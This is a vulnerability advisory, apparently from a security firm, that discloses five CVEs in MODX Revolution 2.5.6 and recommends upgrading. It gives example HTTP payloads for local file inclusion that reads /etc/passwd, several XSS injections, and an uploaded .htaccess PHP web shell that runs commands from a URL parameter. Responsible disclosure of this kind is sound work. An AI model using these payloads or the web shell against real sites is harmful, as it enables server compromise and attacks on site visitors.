MODX Revolution CMS 2.5.6

MODX Revolution CMS 2.5.6

Overview

Modx Revolution is great CMS, that is Open Source, UX friendly and easy to use. However, in a version 2.5.6 and lower we have identified multiple vulnerabilities.


Unauthenticated Local File Inclusion

The attacker is able to include and execute arbitrary files on web server due to insufficient validation of user supplied argument action. However, this vulnerability is exploitable only when server uses PHP 5.3.3, which is minimal version of PHP supported by Modx Revolution 2.5.6.


Example request with payload:

GET /setup/index.php?action=../../../../../../../etc/passwd%00 HTTP/1.1
Host: localhost
Connection: close
Content-Length: 0
Cookie: PHPSESSID=20410ami2ep7vpa0bt33bcv464

Patch:
https://github.com/modxcms/revolution/pull/13422
https://github.com/modxcms/revolution/pull/13428
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9067

Multiple Unauthenticated XSSs

The attacker is able to trigger Reflected XSS by injecting payloads into several fields on setup page.

GET /setup/index.php?action=database&amp;database_type="><script>alert(1)<script> HTTP/1.1
Host: localhost
Connection: close
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: modx_setup_language=en; PHPSESSID=20410ami2ep7vpa0bt33bcv464

Patch:
https://github.com/modxcms/revolution/pull/13424
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9068

Authenticated Code Execution

User with file upload permissions is able to execute arbitrary server code. CMS blocks file extensions like .php or .exe, however file with extension .htaccess is allowed. Therefore, the user is able to upload a file with the name .htaccess into specified folder. This file can contain php code, which is appended to every requested file with extension .php in specified folder.

Example scenario:
1, The attacker logs into Modx Revolution
2, The attacker uploads file with name .htaccess and following content:

php_value auto_prepend_file .htaccess
php_value output_buffering 1

###### SHELL ###### <?php ob_clean(); if ($_GET['c'] != '') { passthru($_GET['c']." 

3, The attacker than visits URL http://localhost/?c=ls%20-al and he gets following response:

total 29252
drwxrwxrwx 2 root root        0 Apr 10 15:45 .
drwxrwxrwx 2 root root        0 Apr  7 13:51 ..
-rwxrwxrwx 1 root root      244 Apr 10 15:44 .htaccess
drwxrwxrwx 2 root root        0 Mar 29 11:53 assets
-rwxrwxrwx 1 root root      294 Mar 29 11:53 config.core.php
drwxrwxrwx 2 root root        0 Mar 29 11:50 connectors
drwxrwxrwx 2 root root        0 Mar 29 11:53 core
-rwxrwxrwx 1 root root   198719 Mar 23 16:24 dump.sql
-rwxrwxrwx 1 root root     3441 Mar 28 08:42 ht.access
-rwxrwxrwx 1 root root     1922 Mar 28 08:42 index.php
drwxrwxrwx 2 root root        0 Mar 29 11:50 manager
drwxrwxrwx 2 root root        0 Apr  3 11:13 setup

Patch:
https://github.com/modxcms/revolution/pull/13423
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9069

Authenticated Stored XSS

User with resource edit permissions can inject XSS payload into title of any post. This malicious payload will be trigerred by every user, when they visit this post.

Example request, which creates post with malicious pagetitle:

POST /connectors/index.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 3823
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfuNRFVB7kulIsnU4
Cookie: PHPSESSID=vicnm3b9laomhm7pllfgnbdf95

------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="pagetitle"

home'"><svg/onload=alert(document.domain)//
------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="longtitle"

Congratulations!
------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="description"

...

When victim (authenticated or unauthenticated) visits this post, alert with current domain is triggered.

Patch:
https://github.com/modxcms/revolution/pull/13415
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9070

Unauthenticated Reflected XSS via HOST header

The attacker is able to trigger XSS by injecting payload into HOST header. However, likelihood of this attack is minimal, becasue it is hard to exploit. Exploiting is possible via Cache Poisoning technique for example.

Example request with payload:

GET / HTTP/1.1
Host: localhost"<svg onload=alert(1)>
Connection: close
Content-Length: 0

Patch:
https://github.com/modxcms/revolution/pull/13426
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9071

Solution

Modx Revolution 2.5.7 contains all metioned patches, so it is recommended to update to the latest version.

Report timeline

29.3.2017 Vendor informed about mentioned vulnerabilities
21.4.2017 Vendor released new version of Modx Revolution with fixed vulnerabilites
26.4.2017 Disclosed to public
18.5.2017 Assigned CVEs

Credits

These vulnerabilities were discovered by Tomas Melicher from Citadelo.

References

https://forums.modx.com/thread/102084/modx-revolution-2-5-7-a-little-more-secure
https://raw.githubusercontent.com/modxcms/revolution/v2.5.7-pl/core/docs/changelog.txt

About the author

Citadelo
Citadelo
Citadelo is a firm of ethical hackers on your side. We think like hackers, but we don't abuse it. On the contrary, our main goal is to reveal vulnerabilities without causing damage. We have been conducting simulated attacks for our clients since 2006
Show more from author

Related blogs